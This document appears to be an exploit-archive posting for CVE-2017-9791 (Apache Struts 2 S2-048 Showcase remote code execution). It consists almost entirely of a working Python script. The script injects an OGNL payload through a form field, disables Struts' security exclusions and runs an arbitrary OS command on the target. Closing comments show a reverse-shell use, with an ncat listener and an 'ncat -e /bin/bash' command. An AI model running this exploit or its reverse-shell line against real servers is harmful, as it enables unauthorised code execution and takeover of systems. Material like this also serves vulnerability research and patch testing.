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Apache Struts 2.3.x Showcase Remote Code Execution

Posted on 15 July 2017

#!/usr/bin/python
# -*- coding: utf-8 -*-

# Just a demo for CVE-2017-9791

import requests

def exploit(url, cmd):
print("[+] command: %s" % cmd)

payload = "%{"
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(@java.lang.Runtime@getRuntime().exec('%s'))" % cmd
payload += "}"

data = {
"name": payload,
"age": 20,
"__checkbox_bustedBefore": "true",
"description": 1
}

headers = {
'Referer': 'http://127.0.0.1:8080/2.3.15.1-showcase/integration/editGangster'
}
requests.post(url, data=data, headers=headers)

if __name__ == '__main__':
import sys

if len(sys.argv) != 3:
print("python %s <url> <cmd>" % sys.argv[0])
sys.exit(0)

print('[*] exploit Apache Struts2 S2-048')
url = sys.argv[1]
cmd = sys.argv[2]

exploit(url, cmd)

# $ ncat -v -l -p 4444 &
# $ python exploit_S2-048.py http://127.0.0.1:8080/2.3.15.1-showcase/integration/saveGangster.action "ncat -e /bin/bash 127.0.0.1 4444"

 

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